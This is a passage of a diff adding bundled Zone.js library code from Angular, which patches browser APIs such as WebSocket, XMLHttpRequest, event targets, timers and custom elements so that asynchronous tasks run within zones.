+ return _defineProperty(obj, prop, desc);
+ }
+ catch (error) {
+ if (desc.configurable) {
+ // In case of errors, when the configurable flag was likely set by rewriteDescriptor(), let's
+ // retry with the original flag value
+ if (typeof originalConfigurableFlag == 'undefined') {
+ delete desc.configurable;
+ }
+ else {
+ desc.configurable = originalConfigurableFlag;
+ }
+ try {
+ return _defineProperty(obj, prop, desc);
+ }
+ catch (error) {
+ var descJson = null;
+ try {
+ descJson = JSON.stringify(desc);
+ }
+ catch (error) {
+ descJson = desc.toString();
+ }
+ console.log("Attempting to configure '" + prop + "' with descriptor '" + descJson + "' on object '" + obj + "' and got error, giving up: " + error);
+ }
+ }
+ else {
+ throw error;
+ }
+ }
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+// we have to patch the instance since the proto is non-configurable
+function apply(api, _global) {
+ var WS = _global.WebSocket;
+ // On Safari window.EventTarget doesn't exist so need to patch WS add/removeEventListener
+ // On older Chrome, no need since EventTarget was already patched
+ if (!_global.EventTarget) {
+ patchEventTarget(_global, [WS.prototype]);
+ }
+ _global.WebSocket = function (x, y) {
+ var socket = arguments.length > 1 ? new WS(x, y) : new WS(x);
+ var proxySocket;
+ var proxySocketProto;
+ // Safari 7.0 has non-configurable own 'onmessage' and friends properties on the socket instance
+ var onmessageDesc = ObjectGetOwnPropertyDescriptor(socket, 'onmessage');
+ if (onmessageDesc && onmessageDesc.configurable === false) {
+ proxySocket = ObjectCreate(socket);
+ // socket have own property descriptor 'onopen', 'onmessage', 'onclose', 'onerror'
+ // but proxySocket not, so we will keep socket as prototype and pass it to
+ // patchOnProperties method
+ proxySocketProto = socket;
+ [ADD_EVENT_LISTENER_STR, REMOVE_EVENT_LISTENER_STR, 'send', 'close'].forEach(function (propName) {
+ proxySocket[propName] = function () {
+ var args = ArraySlice.call(arguments);
+ if (propName === ADD_EVENT_LISTENER_STR || propName === REMOVE_EVENT_LISTENER_STR) {
+ var eventName = args.length > 0 ? args[0] : undefined;
+ if (eventName) {
+ var propertySymbol = Zone.__symbol__('ON_PROPERTY' + eventName);
+ socket[propertySymbol] = proxySocket[propertySymbol];
+ }
+ }
+ return socket[propName].apply(socket, args);
+ };
+ });
+ }
+ else {
+ // we can patch the real socket
+ proxySocket = socket;
+ }
+ patchOnProperties(proxySocket, ['close', 'error', 'message', 'open'], proxySocketProto);
+ return proxySocket;
+ };
+ var globalWebSocket = _global['WebSocket'];
+ for (var prop in WS) {
+ globalWebSocket[prop] = WS[prop];
+ }
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+/**
+ * @fileoverview
+ * @suppress {globalThis}
+ */
+var globalEventHandlersEventNames = [
+ 'abort',
+ 'animationcancel',
+ 'animationend',
+ 'animationiteration',
+ 'auxclick',
+ 'beforeinput',
+ 'blur',
+ 'cancel',
+ 'canplay',
+ 'canplaythrough',
+ 'change',
+ 'compositionstart',
+ 'compositionupdate',
+ 'compositionend',
+ 'cuechange',
+ 'click',
+ 'close',
+ 'contextmenu',
+ 'curechange',
+ 'dblclick',
+ 'drag',
+ 'dragend',
+ 'dragenter',
+ 'dragexit',
+ 'dragleave',
+ 'dragover',
+ 'drop',
+ 'durationchange',
+ 'emptied',
+ 'ended',
+ 'error',
+ 'focus',
+ 'focusin',
+ 'focusout',
+ 'gotpointercapture',
+ 'input',
+ 'invalid',
+ 'keydown',
+ 'keypress',
+ 'keyup',
+ 'load',
+ 'loadstart',
+ 'loadeddata',
+ 'loadedmetadata',
+ 'lostpointercapture',
+ 'mousedown',
+ 'mouseenter',
+ 'mouseleave',
+ 'mousemove',
+ 'mouseout',
+ 'mouseover',
+ 'mouseup',
+ 'mousewheel',
+ 'orientationchange',
+ 'pause',
+ 'play',
+ 'playing',
+ 'pointercancel',
+ 'pointerdown',
+ 'pointerenter',
+ 'pointerleave',
+ 'pointerlockchange',
+ 'mozpointerlockchange',
+ 'webkitpointerlockerchange',
+ 'pointerlockerror',
+ 'mozpointerlockerror',
+ 'webkitpointerlockerror',
+ 'pointermove',
+ 'pointout',
+ 'pointerover',
+ 'pointerup',
+ 'progress',
+ 'ratechange',
+ 'reset',
+ 'resize',
+ 'scroll',
+ 'seeked',
+ 'seeking',
+ 'select',
+ 'selectionchange',
+ 'selectstart',
+ 'show',
+ 'sort',
+ 'stalled',
+ 'submit',
+ 'suspend',
+ 'timeupdate',
+ 'volumechange',
+ 'touchcancel',
+ 'touchmove',
+ 'touchstart',
+ 'touchend',
+ 'transitioncancel',
+ 'transitionend',
+ 'waiting',
+ 'wheel'
+];
+var documentEventNames = [
+ 'afterscriptexecute', 'beforescriptexecute', 'DOMContentLoaded', 'freeze', 'fullscreenchange',
+ 'mozfullscreenchange', 'webkitfullscreenchange', 'msfullscreenchange', 'fullscreenerror',
+ 'mozfullscreenerror', 'webkitfullscreenerror', 'msfullscreenerror', 'readystatechange',
+ 'visibilitychange', 'resume'
+];
+var windowEventNames = [
+ 'absolutedeviceorientation',
+ 'afterinput',
+ 'afterprint',
+ 'appinstalled',
+ 'beforeinstallprompt',
+ 'beforeprint',
+ 'beforeunload',
+ 'devicelight',
+ 'devicemotion',
+ 'deviceorientation',
+ 'deviceorientationabsolute',
+ 'deviceproximity',
+ 'hashchange',
+ 'languagechange',
+ 'message',
+ 'mozbeforepaint',
+ 'offline',
+ 'online',
+ 'paint',
+ 'pageshow',
+ 'pagehide',
+ 'popstate',
+ 'rejectionhandled',
+ 'storage',
+ 'unhandledrejection',
+ 'unload',
+ 'userproximity',
+ 'vrdisplyconnected',
+ 'vrdisplaydisconnected',
+ 'vrdisplaypresentchange'
+];
+var htmlElementEventNames = [
+ 'beforecopy', 'beforecut', 'beforepaste', 'copy', 'cut', 'paste', 'dragstart', 'loadend',
+ 'animationstart', 'search', 'transitionrun', 'transitionstart', 'webkitanimationend',
+ 'webkitanimationiteration', 'webkitanimationstart', 'webkittransitionend'
+];
+var mediaElementEventNames = ['encrypted', 'waitingforkey', 'msneedkey', 'mozinterruptbegin', 'mozinterruptend'];
+var ieElementEventNames = [
+ 'activate',
+ 'afterupdate',
+ 'ariarequest',
+ 'beforeactivate',
+ 'beforedeactivate',
+ 'beforeeditfocus',
+ 'beforeupdate',
+ 'cellchange',
+ 'controlselect',
+ 'dataavailable',
+ 'datasetchanged',
+ 'datasetcomplete',
+ 'errorupdate',
+ 'filterchange',
+ 'layoutcomplete',
+ 'losecapture',
+ 'move',
+ 'moveend',
+ 'movestart',
+ 'propertychange',
+ 'resizeend',
+ 'resizestart',
+ 'rowenter',
+ 'rowexit',
+ 'rowsdelete',
+ 'rowsinserted',
+ 'command',
+ 'compassneedscalibration',
+ 'deactivate',
+ 'help',
+ 'mscontentzoom',
+ 'msmanipulationstatechanged',
+ 'msgesturechange',
+ 'msgesturedoubletap',
+ 'msgestureend',
+ 'msgesturehold',
+ 'msgesturestart',
+ 'msgesturetap',
+ 'msgotpointercapture',
+ 'msinertiastart',
+ 'mslostpointercapture',
+ 'mspointercancel',
+ 'mspointerdown',
+ 'mspointerenter',
+ 'mspointerhover',
+ 'mspointerleave',
+ 'mspointermove',
+ 'mspointerout',
+ 'mspointerover',
+ 'mspointerup',
+ 'pointerout',
+ 'mssitemodejumplistitemremoved',
+ 'msthumbnailclick',
+ 'stop',
+ 'storagecommit'
+];
+var webglEventNames = ['webglcontextrestored', 'webglcontextlost', 'webglcontextcreationerror'];
+var formEventNames = ['autocomplete', 'autocompleteerror'];
+var detailEventNames = ['toggle'];
+var frameEventNames = ['load'];
+var frameSetEventNames = ['blur', 'error', 'focus', 'load', 'resize', 'scroll', 'messageerror'];
+var marqueeEventNames = ['bounce', 'finish', 'start'];
+var XMLHttpRequestEventNames = [
+ 'loadstart', 'progress', 'abort', 'error', 'load', 'progress', 'timeout', 'loadend',
+ 'readystatechange'
+];
+var IDBIndexEventNames = ['upgradeneeded', 'complete', 'abort', 'success', 'error', 'blocked', 'versionchange', 'close'];
+var websocketEventNames = ['close', 'error', 'open', 'message'];
+var workerEventNames = ['error', 'message'];
+var eventNames = globalEventHandlersEventNames.concat(webglEventNames, formEventNames, detailEventNames, documentEventNames, windowEventNames, htmlElementEventNames, ieElementEventNames);
+function filterProperties(target, onProperties, ignoreProperties) {
+ if (!ignoreProperties || ignoreProperties.length === 0) {
+ return onProperties;
+ }
+ var tip = ignoreProperties.filter(function (ip) { return ip.target === target; });
+ if (!tip || tip.length === 0) {
+ return onProperties;
+ }
+ var targetIgnoreProperties = tip[0].ignoreProperties;
+ return onProperties.filter(function (op) { return targetIgnoreProperties.indexOf(op) === -1; });
+}
+function patchFilteredProperties(target, onProperties, ignoreProperties, prototype) {
+ // check whether target is available, sometimes target will be undefined
+ // because different browser or some 3rd party plugin.
+ if (!target) {
+ return;
+ }
+ var filteredProperties = filterProperties(target, onProperties, ignoreProperties);
+ patchOnProperties(target, filteredProperties, prototype);
+}
+function propertyDescriptorPatch(api, _global) {
+ if (isNode && !isMix) {
+ return;
+ }
+ var supportsWebSocket = typeof WebSocket !== 'undefined';
+ if (canPatchViaPropertyDescriptor()) {
+ var ignoreProperties = _global['__Zone_ignore_on_properties'];
+ // for browsers that we can patch the descriptor: Chrome & Firefox
+ if (isBrowser) {
+ var internalWindow = window;
+ var ignoreErrorProperties = isIE ? [{ target: internalWindow, ignoreProperties: ['error'] }] : [];
+ // in IE/Edge, onProp not exist in window object, but in WindowPrototype
+ // so we need to pass WindowPrototype to check onProp exist or not
+ patchFilteredProperties(internalWindow, eventNames.concat(['messageerror']), ignoreProperties ? ignoreProperties.concat(ignoreErrorProperties) : ignoreProperties, ObjectGetPrototypeOf(internalWindow));
+ patchFilteredProperties(Document.prototype, eventNames, ignoreProperties);
+ if (typeof internalWindow['SVGElement'] !== 'undefined') {
+ patchFilteredProperties(internalWindow['SVGElement'].prototype, eventNames, ignoreProperties);
+ }
+ patchFilteredProperties(Element.prototype, eventNames, ignoreProperties);
+ patchFilteredProperties(HTMLElement.prototype, eventNames, ignoreProperties);
+ patchFilteredProperties(HTMLMediaElement.prototype, mediaElementEventNames, ignoreProperties);
+ patchFilteredProperties(HTMLFrameSetElement.prototype, windowEventNames.concat(frameSetEventNames), ignoreProperties);
+ patchFilteredProperties(HTMLBodyElement.prototype, windowEventNames.concat(frameSetEventNames), ignoreProperties);
+ patchFilteredProperties(HTMLFrameElement.prototype, frameEventNames, ignoreProperties);
+ patchFilteredProperties(HTMLIFrameElement.prototype, frameEventNames, ignoreProperties);
+ var HTMLMarqueeElement_1 = internalWindow['HTMLMarqueeElement'];
+ if (HTMLMarqueeElement_1) {
+ patchFilteredProperties(HTMLMarqueeElement_1.prototype, marqueeEventNames, ignoreProperties);
+ }
+ var Worker_1 = internalWindow['Worker'];
+ if (Worker_1) {
+ patchFilteredProperties(Worker_1.prototype, workerEventNames, ignoreProperties);
+ }
+ }
+ patchFilteredProperties(XMLHttpRequest.prototype, XMLHttpRequestEventNames, ignoreProperties);
+ var XMLHttpRequestEventTarget_1 = _global['XMLHttpRequestEventTarget'];
+ if (XMLHttpRequestEventTarget_1) {
+ patchFilteredProperties(XMLHttpRequestEventTarget_1 && XMLHttpRequestEventTarget_1.prototype, XMLHttpRequestEventNames, ignoreProperties);
+ }
+ if (typeof IDBIndex !== 'undefined') {
+ patchFilteredProperties(IDBIndex.prototype, IDBIndexEventNames, ignoreProperties);
+ patchFilteredProperties(IDBRequest.prototype, IDBIndexEventNames, ignoreProperties);
+ patchFilteredProperties(IDBOpenDBRequest.prototype, IDBIndexEventNames, ignoreProperties);
+ patchFilteredProperties(IDBDatabase.prototype, IDBIndexEventNames, ignoreProperties);
+ patchFilteredProperties(IDBTransaction.prototype, IDBIndexEventNames, ignoreProperties);
+ patchFilteredProperties(IDBCursor.prototype, IDBIndexEventNames, ignoreProperties);
+ }
+ if (supportsWebSocket) {
+ patchFilteredProperties(WebSocket.prototype, websocketEventNames, ignoreProperties);
+ }
+ }
+ else {
+ // Safari, Android browsers (Jelly Bean)
+ patchViaCapturingAllTheEvents();
+ patchClass('XMLHttpRequest');
+ if (supportsWebSocket) {
+ apply(api, _global);
+ }
+ }
+}
+function canPatchViaPropertyDescriptor() {
+ if ((isBrowser || isMix) && !ObjectGetOwnPropertyDescriptor(HTMLElement.prototype, 'onclick') &&
+ typeof Element !== 'undefined') {
+ // WebKit https://bugs.webkit.org/show_bug.cgi?id=134364
+ // IDL interface attributes are not configurable
+ var desc = ObjectGetOwnPropertyDescriptor(Element.prototype, 'onclick');
+ if (desc && !desc.configurable)
+ return false;
+ }
+ var ON_READY_STATE_CHANGE = 'onreadystatechange';
+ var XMLHttpRequestPrototype = XMLHttpRequest.prototype;
+ var xhrDesc = ObjectGetOwnPropertyDescriptor(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE);
+ // add enumerable and configurable here because in opera
+ // by default XMLHttpRequest.prototype.onreadystatechange is undefined
+ // without adding enumerable and configurable will cause onreadystatechange
+ // non-configurable
+ // and if XMLHttpRequest.prototype.onreadystatechange is undefined,
+ // we should set a real desc instead a fake one
+ if (xhrDesc) {
+ ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, {
+ enumerable: true,
+ configurable: true,
+ get: function () {
+ return true;
+ }
+ });
+ var req = new XMLHttpRequest();
+ var result = !!req.onreadystatechange;
+ // restore original desc
+ ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, xhrDesc || {});
+ return result;
+ }
+ else {
+ var SYMBOL_FAKE_ONREADYSTATECHANGE_1 = zoneSymbol('fake');
+ ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, {
+ enumerable: true,
+ configurable: true,
+ get: function () {
+ return this[SYMBOL_FAKE_ONREADYSTATECHANGE_1];
+ },
+ set: function (value) {
+ this[SYMBOL_FAKE_ONREADYSTATECHANGE_1] = value;
+ }
+ });
+ var req = new XMLHttpRequest();
+ var detectFunc = function () { };
+ req.onreadystatechange = detectFunc;
+ var result = req[SYMBOL_FAKE_ONREADYSTATECHANGE_1] === detectFunc;
+ req.onreadystatechange = null;
+ return result;
+ }
+}
+var unboundKey = zoneSymbol('unbound');
+// Whenever any eventListener fires, we check the eventListener target and all parents
+// for `onwhatever` properties and replace them with zone-bound functions
+// - Chrome (for now)
+function patchViaCapturingAllTheEvents() {
+ var _loop_1 = function (i) {
+ var property = eventNames[i];
+ var onproperty = 'on' + property;
+ self.addEventListener(property, function (event) {
+ var elt = event.target, bound, source;
+ if (elt) {
+ source = elt.constructor['name'] + '.' + onproperty;
+ }
+ else {
+ source = 'unknown.' + onproperty;
+ }
+ while (elt) {
+ if (elt[onproperty] && !elt[onproperty][unboundKey]) {
+ bound = wrapWithCurrentZone(elt[onproperty], source);
+ bound[unboundKey] = elt[onproperty];
+ elt[onproperty] = bound;
+ }
+ elt = elt.parentElement;
+ }
+ }, true);
+ };
+ for (var i = 0; i < eventNames.length; i++) {
+ _loop_1(i);
+ }
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+function eventTargetPatch(_global, api) {
+ var WTF_ISSUE_555 = 'Anchor,Area,Audio,BR,Base,BaseFont,Body,Button,Canvas,Content,DList,Directory,Div,Embed,FieldSet,Font,Form,Frame,FrameSet,HR,Head,Heading,Html,IFrame,Image,Input,Keygen,LI,Label,Legend,Link,Map,Marquee,Media,Menu,Meta,Meter,Mod,OList,Object,OptGroup,Option,Output,Paragraph,Pre,Progress,Quote,Script,Select,Source,Span,Style,TableCaption,TableCell,TableCol,Table,TableRow,TableSection,TextArea,Title,Track,UList,Unknown,Video';
+ var NO_EVENT_TARGET = 'ApplicationCache,EventSource,FileReader,InputMethodContext,MediaController,MessagePort,Node,Performance,SVGElementInstance,SharedWorker,TextTrack,TextTrackCue,TextTrackList,WebKitNamedFlow,Window,Worker,WorkerGlobalScope,XMLHttpRequest,XMLHttpRequestEventTarget,XMLHttpRequestUpload,IDBRequest,IDBOpenDBRequest,IDBDatabase,IDBTransaction,IDBCursor,DBIndex,WebSocket'
+ .split(',');
+ var EVENT_TARGET = 'EventTarget';
+ var apis = [];
+ var isWtf = _global['wtf'];
+ var WTF_ISSUE_555_ARRAY = WTF_ISSUE_555.split(',');
+ if (isWtf) {
+ // Workaround for: https://github.com/google/tracing-framework/issues/555
+ apis = WTF_ISSUE_555_ARRAY.map(function (v) { return 'HTML' + v + 'Element'; }).concat(NO_EVENT_TARGET);
+ }
+ else if (_global[EVENT_TARGET]) {
+ apis.push(EVENT_TARGET);
+ }
+ else {
+ // Note: EventTarget is not available in all browsers,
+ // if it's not available, we instead patch the APIs in the IDL that inherit from EventTarget
+ apis = NO_EVENT_TARGET;
+ }
+ var isDisableIECheck = _global['__Zone_disable_IE_check'] || false;
+ var isEnableCrossContextCheck = _global['__Zone_enable_cross_context_check'] || false;
+ var ieOrEdge = isIEOrEdge();
+ var ADD_EVENT_LISTENER_SOURCE = '.addEventListener:';
+ var FUNCTION_WRAPPER = '[object FunctionWrapper]';
+ var BROWSER_TOOLS = 'function __BROWSERTOOLS_CONSOLE_SAFEFUNC() { [native code] }';
+ // predefine all __zone_symbol__ + eventName + true/false string
+ for (var i = 0; i < eventNames.length; i++) {
+ var eventName = eventNames[i];
+ var falseEventName = eventName + FALSE_STR;
+ var trueEventName = eventName + TRUE_STR;
+ var symbol = ZONE_SYMBOL_PREFIX + falseEventName;
+ var symbolCapture = ZONE_SYMBOL_PREFIX + trueEventName;
+ zoneSymbolEventNames$1[eventName] = {};
+ zoneSymbolEventNames$1[eventName][FALSE_STR] = symbol;
+ zoneSymbolEventNames$1[eventName][TRUE_STR] = symbolCapture;
+ }
+ // predefine all task.source string
+ for (var i = 0; i < WTF_ISSUE_555.length; i++) {
+ var target = WTF_ISSUE_555_ARRAY[i];
+ var targets = globalSources[target] = {};
+ for (var j = 0; j < eventNames.length; j++) {
+ var eventName = eventNames[j];
+ targets[eventName] = target + ADD_EVENT_LISTENER_SOURCE + eventName;
+ }
+ }
+ var checkIEAndCrossContext = function (nativeDelegate, delegate, target, args) {
+ if (!isDisableIECheck && ieOrEdge) {
+ if (isEnableCrossContextCheck) {
+ try {
+ var testString = delegate.toString();
+ if ((testString === FUNCTION_WRAPPER || testString == BROWSER_TOOLS)) {
+ nativeDelegate.apply(target, args);
+ return false;
+ }
+ }
+ catch (error) {
+ nativeDelegate.apply(target, args);
+ return false;
+ }
+ }
+ else {
+ var testString = delegate.toString();
+ if ((testString === FUNCTION_WRAPPER || testString == BROWSER_TOOLS)) {
+ nativeDelegate.apply(target, args);
+ return false;
+ }
+ }
+ }
+ else if (isEnableCrossContextCheck) {
+ try {
+ delegate.toString();
+ }
+ catch (error) {
+ nativeDelegate.apply(target, args);
+ return false;
+ }
+ }
+ return true;
+ };
+ var apiTypes = [];
+ for (var i = 0; i < apis.length; i++) {
+ var type = _global[apis[i]];
+ apiTypes.push(type && type.prototype);
+ }
+ // vh is validateHandler to check event handler
+ // is valid or not(for security check)
+ patchEventTarget(_global, apiTypes, { vh: checkIEAndCrossContext });
+ api.patchEventTarget = patchEventTarget;
+ return true;
+}
+function patchEvent(global, api) {
+ patchEventPrototype(global, api);
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+function patchCallbacks(target, targetName, method, callbacks) {
+ var symbol = Zone.__symbol__(method);
+ if (target[symbol]) {
+ return;
+ }
+ var nativeDelegate = target[symbol] = target[method];
+ target[method] = function (name, opts, options) {
+ if (opts && opts.prototype) {
+ callbacks.forEach(function (callback) {
+ var source = targetName + "." + method + "::" + callback;
+ var prototype = opts.prototype;
+ if (prototype.hasOwnProperty(callback)) {
+ var descriptor = ObjectGetOwnPropertyDescriptor(prototype, callback);
+ if (descriptor && descriptor.value) {
+ descriptor.value = wrapWithCurrentZone(descriptor.value, source);
+ _redefineProperty(opts.prototype, callback, descriptor);
+ }
+ else {
+ prototype[callback] = wrapWithCurrentZone(prototype[callback], source);
+ }
+ }
+ else if (prototype[callback]) {
+ prototype[callback] = wrapWithCurrentZone(prototype[callback], source);
+ }
+ });
+ }
+ return nativeDelegate.call(target, name, opts, options);
+ };
+ attachOriginToPatched(target[method], nativeDelegate);
+}
+function registerElementPatch(_global) {
+ if ((!isBrowser && !isMix) || !('registerElement' in _global.document)) {
+ return;
+ }
+ var callbacks = ['createdCallback', 'attachedCallback', 'detachedCallback', 'attributeChangedCallback'];
+ patchCallbacks(document, 'Document', 'registerElement', callbacks);
+}
+function patchCustomElements(_global) {
+ if ((!isBrowser && !isMix) || !('customElements' in _global)) {
+ return;
+ }
+ var callbacks = ['connectedCallback', 'disconnectedCallback', 'adoptedCallback', 'attributeChangedCallback'];
+ patchCallbacks(_global.customElements, 'customElements', 'define', callbacks);
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+/**
+ * @fileoverview
+ * @suppress {missingRequire}
+ */
+Zone.__load_patch('util', function (global, Zone, api) {
+ api.patchOnProperties = patchOnProperties;
+ api.patchMethod = patchMethod;
+ api.bindArguments = bindArguments;
+});
+Zone.__load_patch('timers', function (global) {
+ var set = 'set';
+ var clear = 'clear';
+ patchTimer(global, set, clear, 'Timeout');
+ patchTimer(global, set, clear, 'Interval');
+ patchTimer(global, set, clear, 'Immediate');
+});
+Zone.__load_patch('requestAnimationFrame', function (global) {
+ patchTimer(global, 'request', 'cancel', 'AnimationFrame');
+ patchTimer(global, 'mozRequest', 'mozCancel', 'AnimationFrame');
+ patchTimer(global, 'webkitRequest', 'webkitCancel', 'AnimationFrame');
+});
+Zone.__load_patch('blocking', function (global, Zone) {
+ var blockingMethods = ['alert', 'prompt', 'confirm'];
+ for (var i = 0; i < blockingMethods.length; i++) {
+ var name_1 = blockingMethods[i];
+ patchMethod(global, name_1, function (delegate, symbol, name) {
+ return function (s, args) {
+ return Zone.current.run(delegate, global, args, name);
+ };
+ });
+ }
+});
+Zone.__load_patch('EventTarget', function (global, Zone, api) {
+ // load blackListEvents from global
+ var SYMBOL_BLACK_LISTED_EVENTS = Zone.__symbol__('BLACK_LISTED_EVENTS');
+ if (global[SYMBOL_BLACK_LISTED_EVENTS]) {
+ Zone[SYMBOL_BLACK_LISTED_EVENTS] = global[SYMBOL_BLACK_LISTED_EVENTS];
+ }
+ patchEvent(global, api);
+ eventTargetPatch(global, api);
+ // patch XMLHttpRequestEventTarget's addEventListener/removeEventListener
+ var XMLHttpRequestEventTarget = global['XMLHttpRequestEventTarget'];
+ if (XMLHttpRequestEventTarget && XMLHttpRequestEventTarget.prototype) {
+ api.patchEventTarget(global, [XMLHttpRequestEventTarget.prototype]);
+ }
+ patchClass('MutationObserver');
+ patchClass('WebKitMutationObserver');
+ patchClass('IntersectionObserver');
+ patchClass('FileReader');
+});
+Zone.__load_patch('on_property', function (global, Zone, api) {
+ propertyDescriptorPatch(api, global);
+ propertyPatch();
+});
+Zone.__load_patch('customElements', function (global, Zone, api) {
+ registerElementPatch(global);
+ patchCustomElements(global);
+});
+Zone.__load_patch('canvas', function (global) {
+ var HTMLCanvasElement = global['HTMLCanvasElement'];
+ if (typeof HTMLCanvasElement !== 'undefined' && HTMLCanvasElement.prototype &&
+ HTMLCanvasElement.prototype.toBlob) {
+ patchMacroTask(HTMLCanvasElement.prototype, 'toBlob', function (self, args) {
+ return { name: 'HTMLCanvasElement.toBlob', target: self, cbIdx: 0, args: args };
+ });
+ }
+});
+Zone.__load_patch('XHR', function (global, Zone) {
+ // Treat XMLHttpRequest as a macrotask.
+ patchXHR(global);
+ var XHR_TASK = zoneSymbol('xhrTask');
+ var XHR_SYNC = zoneSymbol('xhrSync');
+ var XHR_LISTENER = zoneSymbol('xhrListener');
+ var XHR_SCHEDULED = zoneSymbol('xhrScheduled');
+ var XHR_URL = zoneSymbol('xhrURL');
+ var XHR_ERROR_BEFORE_SCHEDULED = zoneSymbol('xhrErrorBeforeScheduled');
+ function patchXHR(window) {
+ var XMLHttpRequestPrototype = XMLHttpRequest.prototype;
+ function findPendingTask(target) {
+ return target[XHR_TASK];
+ }
+ var oriAddListener = XMLHttpRequestPrototype[ZONE_SYMBOL_ADD_EVENT_LISTENER];
+ var oriRemoveListener = XMLHttpRequestPrototype[ZONE_SYMBOL_REMOVE_EVENT_LISTENER];
+ if (!oriAddListener) {
+ var XMLHttpRequestEventTarget_1 = window['XMLHttpRequestEventTarget'];
+ if (XMLHttpRequestEventTarget_1) {
+ var XMLHttpRequestEventTargetPrototype = XMLHttpRequestEventTarget_1.prototype;
+ oriAddListener = XMLHttpRequestEventTargetPrototype[ZONE_SYMBOL_ADD_EVENT_LISTENER];
+ oriRemoveListener = XMLHttpRequestEventTargetPrototype[ZONE_SYMBOL_REMOVE_EVENT_LISTENER];
+ }
+ }
+ var READY_STATE_CHANGE = 'readystatechange';
+ var SCHEDULED = 'scheduled';
+ function scheduleTask(task) {
+ var data = task.data;
+ var target = data.target;
+ target[XHR_SCHEDULED] = false;
+ target[XHR_ERROR_BEFORE_SCHEDULED] = false;
+ // remove existing event listener
+ var listener = target[XHR_LISTENER];
+ if (!oriAddListener) {
+ oriAddListener = target[ZONE_SYMBOL_ADD_EVENT_LISTENER];
+ oriRemoveListener = target[ZONE_SYMBOL_REMOVE_EVENT_LISTENER];
+ }
+ if (listener) {
+ oriRemoveListener.call(target, READY_STATE_CHANGE, listener);
+ }
+ var newListener = target[XHR_LISTENER] = function () {
+ if (target.readyState === target.DONE) {
+ // sometimes on some browsers XMLHttpRequest will fire onreadystatechange with
+ // readyState=4 multiple times, so we need to check task state here
+ if (!data.aborted && target[XHR_SCHEDULED] && task.state === SCHEDULED) {
+ // check whether the xhr has registered onload listener
+ // if that is the case, the task should invoke after all
+ // onload listeners finish.
+ var loadTasks = target['__zone_symbol__loadfalse'];
+ if (loadTasks && loadTasks.length > 0) {
+ var oriInvoke_1 = task.invoke;
+ task.invoke = function () {
+ // need to load the tasks again, because in other
+ // load listener, they may remove themselves
+ var loadTasks = target['__zone_symbol__loadfalse'];
+ for (var i = 0; i < loadTasks.length; i++) {
+ if (loadTasks[i] === task) {
+ loadTasks.splice(i, 1);
+ }
+ }
+ if (!data.aborted && task.state === SCHEDULED) {
+ oriInvoke_1.call(task);
+ }
+ };
+ loadTasks.push(task);
+ }
+ else {
+ task.invoke();
+ }
+ }
+ else if (!data.aborted && target[XHR_SCHEDULED] === false) {
+ // error occurs when xhr.send()
+ target[XHR_ERROR_BEFORE_SCHEDULED] = true;
+ }
+ }
+ };
+ oriAddListener.call(target, READY_STATE_CHANGE, newListener);
+ var storedTask = target[XHR_TASK];
+ if (!storedTask) {
+ target[XHR_TASK] = task;
+ }
+ sendNative.apply(target, data.args);
+ target[XHR_SCHEDULED] = true;
+ return task;
+ }
+ function placeholderCallback() { }
+ function clearTask(task) {
+ var data = task.data;
+ // Note - ideally, we would call data.target.removeEventListener here, but it's too late
+ // to prevent it from firing. So instead, we store info for the event listener.
+ data.aborted = true;
+ return abortNative.apply(data.target, data.args);
+ }
+ var openNative = patchMethod(XMLHttpRequestPrototype, 'open', function () { return function (self, args) {
+ self[XHR_SYNC] = args[2] == false;
+ self[XHR_URL] = args[1];
+ return openNative.apply(self, args);
+ }; });
+ var XMLHTTPREQUEST_SOURCE = 'XMLHttpRequest.send';
+ var fetchTaskAborting = zoneSymbol('fetchTaskAborting');
+ var fetchTaskScheduling = zoneSymbol('fetchTaskScheduling');
+ var sendNative = patchMethod(XMLHttpRequestPrototype, 'send', function () { return function (self, args) {
+ if (Zone.current[fetchTaskScheduling] === true) {
+ // a fetch is scheduling, so we are using xhr to polyfill fetch
+ // and because we already schedule macroTask for fetch, we should
+ // not schedule a macroTask for xhr again
+ return sendNative.apply(self, args);
+ }
+ if (self[XHR_SYNC]) {
+ // if the XHR is sync there is no task to schedule, just execute the code.
+ return sendNative.apply(self, args);
+ }
+ else {
+ var options = { target: self, url: self[XHR_URL], isPeriodic: false, args: args, aborted: false };
+ var task = scheduleMacroTaskWithCurrentZone(XMLHTTPREQUEST_SOURCE, placeholderCallback, options, scheduleTask, clearTask);
+ if (self && self[XHR_ERROR_BEFORE_SCHEDULED] === true && !options.aborted &&
+ task.state === SCHEDULED) {
+ // xhr request throw error when send
+ // we should invoke task instead of leaving a scheduled
+ // pending macroTask
+ task.invoke();
+ }
+ }
+ }; });
+ var abortNative = patchMethod(XMLHttpRequestPrototype, 'abort', function () { return function (self, args) {
+ var task = findPendingTask(self);
+ if (task && typeof task.type == 'string') {
+ // If the XHR has already completed, do nothing.
+ // If the XHR has already been aborted, do nothing.
+ // Fix #569, call abort multiple times before done will cause
+ // macroTask task count be negative number
+ if (task.cancelFn == null || (task.data && task.data.aborted)) {
+ return;
+ }
+ task.zone.cancelTask(task);
+ }
+ else if (Zone.current[fetchTaskAborting] === true) {
+ // the abort is called from fetch polyfill, we need to call native abort of XHR.
+ return abortNative.apply(self, args);
+ }
+ // Otherwise, we are trying to abort an XHR which has not yet been sent, so there is no
+ // task
+ // to cancel. Do nothing.
+ }; });
+ }
+});
+Zone.__load_patch('geolocation', function (global) {
+ /// GEO_LOCATION
+ if (global['navigator'] && global['navigator'].geolocation) {
+ patchPrototype(global['navigator'].geolocation, ['getCurrentPosition', 'watchPosition']);
